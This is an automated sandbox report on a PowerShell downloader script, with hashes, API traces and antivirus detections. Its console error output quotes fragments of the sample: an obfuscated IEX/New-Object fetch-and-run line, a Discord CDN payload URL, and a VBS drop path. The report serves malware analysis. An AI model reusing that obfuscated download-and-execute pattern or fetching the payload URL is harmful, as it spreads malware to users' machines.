Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Oct. 2, 2021, 5:10 p.m.	Oct. 2, 2021, 5:15 p.m.

Size	15.2KB
Type	ASCII text, with very long lines, with CRLF line terminators
MD5	`f3143cd0d8cf255bdd76b8237bb42e7c`
SHA256	`0f6b318c12704086bd6b48e9288fc2843996f0bee8978eefe4456e5c3a01d3b0`
CRC32	`71C151E9`
ssdeep	`192:IWAmVmTjrxEFXNIFX0zREJXCIjX+ReEIX2IhXodN2cxVpN2cjeTjlq/SIQIA7Zc:IWAmVmTjJTjpPp7Zc`
Yara	None matched

powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy unrestricted -File C:\Users\test22\AppData\Local\Temp\Skimm.txt.ps1
1940

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Command line console output was observed (24 events)

Time & API	Arguments	Status	Return
WriteConsoleW Oct. 2, 2021, 5:10 p.m.	buffer: Invoke-Expression : Unexpected token '(' in expression or statement. console_handle: 0x00000023	1	1
WriteConsoleW Oct. 2, 2021, 5:10 p.m.	buffer: At C:\Users\test22\AppData\Local\Temp\Skimm.txt.ps1:4 char:18 console_handle: 0x0000002f	1	1
WriteConsoleW Oct. 2, 2021, 5:10 p.m.	buffer: + Invoke-Expression <<<< $cc console_handle: 0x0000003b	1	1
WriteConsoleW Oct. 2, 2021, 5:10 p.m.	buffer: + CategoryInfo : ParserError: ((:String) [Invoke-Expression], Par console_handle: 0x00000047	1	1
WriteConsoleW Oct. 2, 2021, 5:10 p.m.	buffer: seException console_handle: 0x00000053	1	1
WriteConsoleW Oct. 2, 2021, 5:10 p.m.	buffer: + FullyQualifiedErrorId : UnexpectedToken,Microsoft.PowerShell.Commands.In console_handle: 0x0000005f	1	1
WriteConsoleW Oct. 2, 2021, 5:10 p.m.	buffer: vokeExpressionCommand console_handle: 0x0000006b	1	1
WriteConsoleW Oct. 2, 2021, 5:10 p.m.	buffer: Set-Content : Could not find a part of the path 'C:\Users\Public\Run\New.vbs'. console_handle: 0x00000023	1	1
WriteConsoleW Oct. 2, 2021, 5:10 p.m.	buffer: At C:\Users\test22\AppData\Local\Temp\Skimm.txt.ps1:14 char:12 console_handle: 0x0000002f	1	1
WriteConsoleW Oct. 2, 2021, 5:10 p.m.	buffer: + Set-Content <<<< -Path C:\Users\Public\Run\New.vbs -Value $Content console_handle: 0x0000003b	1	1
WriteConsoleW Oct. 2, 2021, 5:10 p.m.	buffer: + CategoryInfo : ObjectNotFound: (C:\Users\Public\Run\New.vbs:Str console_handle: 0x00000047	1	1
WriteConsoleW Oct. 2, 2021, 5:10 p.m.	buffer: ing) [Set-Content], DirectoryNotFoundException console_handle: 0x00000053	1	1
WriteConsoleW Oct. 2, 2021, 5:10 p.m.	buffer: + FullyQualifiedErrorId : GetContentWriterDirectoryNotFoundError,Microsoft console_handle: 0x0000005f	1	1
WriteConsoleW Oct. 2, 2021, 5:10 p.m.	buffer: .PowerShell.Commands.SetContentCommand console_handle: 0x0000006b	1	1
WriteConsoleW Oct. 2, 2021, 5:10 p.m.	buffer: Invoke-Expression : A positional parameter cannot be found that accepts argumen console_handle: 0x00000023	1	1
WriteConsoleW Oct. 2, 2021, 5:10 p.m.	buffer: t 'https://cdn.discordapp.com/attachments/851105085270523917/893526177866743838 console_handle: 0x0000002f	1	1
WriteConsoleW Oct. 2, 2021, 5:10 p.m.	buffer: /Seg.txt'. console_handle: 0x0000003b	1	1
WriteConsoleW Oct. 2, 2021, 5:10 p.m.	buffer: At line:1 char:5 console_handle: 0x00000047	1	1
WriteConsoleW Oct. 2, 2021, 5:10 p.m.	buffer: + I`EX <<<< (n`e`W`-Obj`E`c`T $EDRFGHNJMKDEFGHJ).$SXDCFVGBHNJXDCFVGBHJK($SZXDCF console_handle: 0x00000053	1	1
WriteConsoleW Oct. 2, 2021, 5:10 p.m.	buffer: VGBHNJSDFGH) console_handle: 0x0000005f	1	1
WriteConsoleW Oct. 2, 2021, 5:10 p.m.	buffer: + CategoryInfo : InvalidArgument: (:) [Invoke-Expression], Parame console_handle: 0x0000006b	1	1
WriteConsoleW Oct. 2, 2021, 5:10 p.m.	buffer: terBindingException console_handle: 0x00000077	1	1
WriteConsoleW Oct. 2, 2021, 5:10 p.m.	buffer: + FullyQualifiedErrorId : PositionalParameterNotFound,Microsoft.PowerShell console_handle: 0x00000083	1	1
WriteConsoleW Oct. 2, 2021, 5:10 p.m.	buffer: .Commands.InvokeExpressionCommand console_handle: 0x0000008f	1	1

Uses Windows APIs to generate a cryptographic key (13 events)

Time & API	Arguments	Status	Return
CryptExportKey Oct. 2, 2021, 5:10 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04cce480 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:10 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04cce480 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:10 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04cce480 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:10 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04cce480 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:10 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04cce480 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:10 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04cce480 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:10 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04cce480 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:10 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04cce480 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:10 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04cce480 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:10 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04cce480 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:10 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04cce480 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:10 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04cce480 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:10 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04cce480 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Oct. 2, 2021, 5:10 p.m.		1	1	0

Allocates read-write-execute memory (usually to unpack itself) (31 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Oct. 2, 2021, 5:10 p.m.	process_identifier: 1940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x023fb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:10 p.m.	process_identifier: 1940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0240f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:10 p.m.	process_identifier: 1940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02359000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:10 p.m.	process_identifier: 1940 region_size: 1900544 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06210000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:10 p.m.	process_identifier: 1940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x063a0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:10 p.m.	process_identifier: 1940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x063a1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:10 p.m.	process_identifier: 1940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x063a2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:10 p.m.	process_identifier: 1940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x063a3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:10 p.m.	process_identifier: 1940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x063a4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:10 p.m.	process_identifier: 1940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x063a5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:10 p.m.	process_identifier: 1940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05400000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:10 p.m.	process_identifier: 1940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05401000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:10 p.m.	process_identifier: 1940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05402000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:10 p.m.	process_identifier: 1940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05403000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:10 p.m.	process_identifier: 1940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05404000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:10 p.m.	process_identifier: 1940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05405000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:10 p.m.	process_identifier: 1940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05281000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:10 p.m.	process_identifier: 1940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05406000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:10 p.m.	process_identifier: 1940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05410000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:10 p.m.	process_identifier: 1940 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:10 p.m.	process_identifier: 1940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:10 p.m.	process_identifier: 1940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:10 p.m.	process_identifier: 1940 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef30000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:10 p.m.	process_identifier: 1940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef30000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:10 p.m.	process_identifier: 1940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05407000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:10 p.m.	process_identifier: 1940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0235d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:10 p.m.	process_identifier: 1940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x063a6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:10 p.m.	process_identifier: 1940 region_size: 16384 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x063a7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:10 p.m.	process_identifier: 1940 region_size: 69632 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x063ab000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:10 p.m.	process_identifier: 1940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x063bc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:10 p.m.	process_identifier: 1940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x063bd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

File has been identified by 13 AntiVirus engines on VirusTotal as malicious (13 events)

DrWeb	PowerShell.DownLoader.1457
MicroWorld-eScan	Trojan.Script.GenericKDZ.3517
FireEye	Trojan.Script.GenericKDZ.3517
Avast	Script:SNH-gen [Trj]
ClamAV	Ps1.Downloader.Generic-9893341-0
BitDefender	Trojan.Script.GenericKDZ.3517
Ad-Aware	Trojan.Script.GenericKDZ.3517
Emsisoft	Trojan.Script.GenericKDZ.3517 (B)
MAX	malware (ai score=88)
GData	Trojan.Script.GenericKDZ.3517
ALYac	Trojan.Script.GenericKDZ.3517
Ikarus	Trojan-Downloader.VBS.Nemucod
AVG	Script:SNH-gen [Trj]

Skimm.txt.ps1

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All